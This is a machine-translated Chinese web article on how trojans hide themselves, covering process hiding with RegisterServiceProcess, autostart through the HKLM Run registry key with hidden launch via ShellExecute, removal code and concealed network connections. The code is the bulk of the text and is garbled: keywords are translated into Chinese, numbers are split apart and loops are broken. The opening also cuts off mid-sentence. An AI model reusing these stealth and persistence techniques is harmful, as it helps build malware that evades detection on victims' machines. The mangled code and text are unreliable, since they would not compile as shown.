揭开木马的神秘面纱》如何完成隐藏的破坏力_病毒安全_

近年来，黑客技术已经成熟，对网络安全构成了巨大威胁。黑客的主要攻击手段之一是利用木马技术渗透到对方的主机系统中，从而实山词霸等软件使用类似的方法来拦截TextOutA和TextOutW函数来拦截屏幕输出并实现即时翻译。同样，此方法也可以用于进程隐藏。

当进程真正被隐藏时，则在程序的木马服务器部分运行之后，它不应具有正常的进程，也不应具有服务，也就是说，该进程已完全集成到内核中。系统。也许您会发现它很奇怪。这不是说应用程序运行后必须生成一个进程吗？的确，所以我们不能使他成为一个应用程序，而是作为一个线程，成为其他应用程序的线程，并将其自身注入到其他应用程序的地址空间中。这个应用程序对于系统来说是绝对安全的程序。这样，它实现了完全隐藏的效果。结果，这增加了检查和杀死黑客的难度。

出于安全原因，我仅给出一种通过注册服务程序来实现进程伪隐藏的方法。有关更复杂和高级的隐藏方法，例如将线程远程插入其他进程，请参阅ShotGun的文章“在NT系统下隐藏和检测木马进程”。

WINAPI WinMain（HINSTANCE，HINSTANCE，LPSTR，int）

{

尝试

{

DWORD dwVersion = GetVersion（）; //获取Windows的版本号

if（dwVersion> = 0x8000000 0) // Windows 9x隐藏任务列表

{

int（CALLBACK * rsp）（DWORD，DWORD）;

HINSTANCE dll = LoadLibrary（“ KERNEL3 2. DLL”）; //加载KERNEL3 2. DLL

rsp =（int（CALLBACK *）（DWORD，DWORD））GetProcAddress（dll，“ RegisterServiceProcess”）; //查找RegisterServiceProcess的条目

rsp（NULL，1); //注册服务

FreeLibrary（dll）; //释放DLL模块

}

}

捕获（异常和异常）//处理异常事件

{

//处理异常事件

}

返回0；

}

3、程序的自动加载和运行技术

有很多方法可以让程序自行运行。除了最常见的方法：将程序加载到启动组，将程序启动路径写入注册表HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersions / Run，还有许多方法。根据yagami的说法，还有其他方法数十种方法，例如，您可以修改Boot.ini，或者可以通过注册表中的输入法键直接挂钩启动，修改Explorer.exe的启动参数等，可以说很难谨防。下面显示了一个通过修改HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersions / Run键值来实现自我启动的程序：

自动加载部分：

HKEY hkey;

AnsiString NewProgramName = AnsiString（sys）+ AnsiString（“ + PName /”> //“）+ PName

无符号长k;

k = REG_OPENED_EXISTING_KEY;

RegCreateKeyEx（HKEY_LOCAL_MACHINE，

“ SOFTWARE // MICROSOFT // WINDOWS // CURRENTVERSION // RUN //”，

0L，

NULL，

REG_OPTION_NON_VOLATILE，KEY_ALL_ACCESS | KEY_SET_VALUE，

NULL，

＆hkey，＆k）;

RegSetValueEx（hkey，

“ BackGroup”，

0，

REG_SZ

NewProgramName.c_str（），

NewProgramName.Length（））;

RegCloseKey（hkey）;

if（int（ShellExecute（Handle，

“打开”，

NewProgramName.c_str（），

NULL，

NULL，

SW_HIDE））> 3 2)

{

WantClose = true;

Close（）;

}

其他

{

HKEY hkey;

无符号长k;

k = REG_OPENED_EXISTING_KEY;

long a = RegCreateKeyEx（HKEY_LOCAL_MACHINE，

“软件//微软// WINDOWS // CURRENTVERSION //运行”，

0，

NULL，

REG_OPTION_NON_VOLATILE，

KEY_SET_VALUE，NULL，

＆hkey，＆k）;

RegSetValueEx（hkey，

“ BackGroup”，

0，

REG_SZ

ProgramName.c_str（），

ProgramName.Length（））;

int num = 0;

char str [20];

DWORD lth = 20;

DWORD类型；

char strv [255];

DWORD vl = 254;

DWORD Suc;

做{

Suc = RegEnumValue（HKEY_LOCAL_MACHINE，

（DWORD）num，str，

NULL，

＆type

strv，＆vl）;

if（strcmp（str，“ BGroup”）== 0)

{

DeleteFile（AnsiString（strv））;

RegDeleteValue（HKEY_LOCAL_MACHINE，“ BGroup”）;

休息；

}

} while（Suc == ERROR_SUCCESS）;

RegCloseKey（hkey）;

}

自装载程序的卸载代码：

int num;

char str2 [20];

DWORD lth = 20;

DWORD类型；

char strv [255];

DWORD vl = 254;

DWORD Suc;

做{

Suc = RegEnumValue（HKEY_LOCAL_MACHINE，

（DWORD）num，

str，

NULL，

＆type

strv，

＆vl）;

if（strcmp（str，“ BGroup”）== 0)

{

DeleteFile（AnsiString（strv））;

RegDeleteValue（HKEY_LOCAL_MACHINE，“ BGroup”）;

休息；

}

} while（Suc == ERROR_SUCCESS）

HKEY hkey;

无符号长k;

k = REG_OPENED_EXISTING_KEY;

RegCreateKeyEx（HKEY_LOCAL_MACHINE，

“软件//微软// WINDOWS // CURRENTVERSION //运行”，

0，

NULL，

REG_OPTION_NON_VOLATILE，

KEY_SET_VALUE，NULL，

＆hkey

＆k）;

做{

Suc = RegEnumValue（hkey，（DWORD）num，str，if（strcmp（str，“ BackGroup”）== 0)

{

DeleteFile（AnsiString（strv））;

RegDeleteValue（HKEY_LOCAL_MACHINE，“ BackGroup”）;

休息；

}

} while（Suc == ERROR_SUCCESS）

RegCloseKey（hkey）;

可以使用C ++ Builder编写这样的自加载部分，该过程将更加简化：

TRegistry＆regKey = * new TRegistry（）;

regKey.RootKey = HKEY_LOCAL_MACHINE;

regKey.OpenKey（“软件// Microsoft // Windows // CurrentVersion // Run”，true）;

if（！regKey.ValueExists（“ Interbase服务器”））

{

regKey.WriteString（“ Interbase服务器”，

“ D：// Program Files // Borland // IntrBase // BIN // ibserver.exe”）；

}

regKey.CloseKey（）;

删除?密钥;

4、木马程序用于建立连接隐藏

木马程序有许多数据传输方法。最常见的方法是TCP和UDP数据传输。通常，它使用Winsock与目标计算机的指定端口建立连接，并使用诸如send和recv之类的API来执行数据。但是，由于该方法的隐蔽性很差，因此某些工具软件通常很容易查看它。最简单的方法（例如在命令行状态下使用netstat命令）可以查看当前的活动TCP和UDP连接。

C：/ Documents and Settings / bigball> netstat -n

活动连接

原始本地地址外部地址状态

已建立TCP 19 2. 0. 0. 9：1032 6 4. 4. 1 3. 48：1863

已建立TCP 19 2. 0. 0. 9：1112 6 1. 14 1. 21 2. 95:80已建立

已建立TCP 19 2. 0. 0. 9：1135 20 2. 13 0. 23 9. 223：80已建立

已建立TCP 19 2. 0. 0. 9：1142 20 2. 13 0. 23 9. 223：80已建立

本文来自本站，转载请注明本文网址：
http://www.pc-fly.com/a/shouji/article-368790-1.html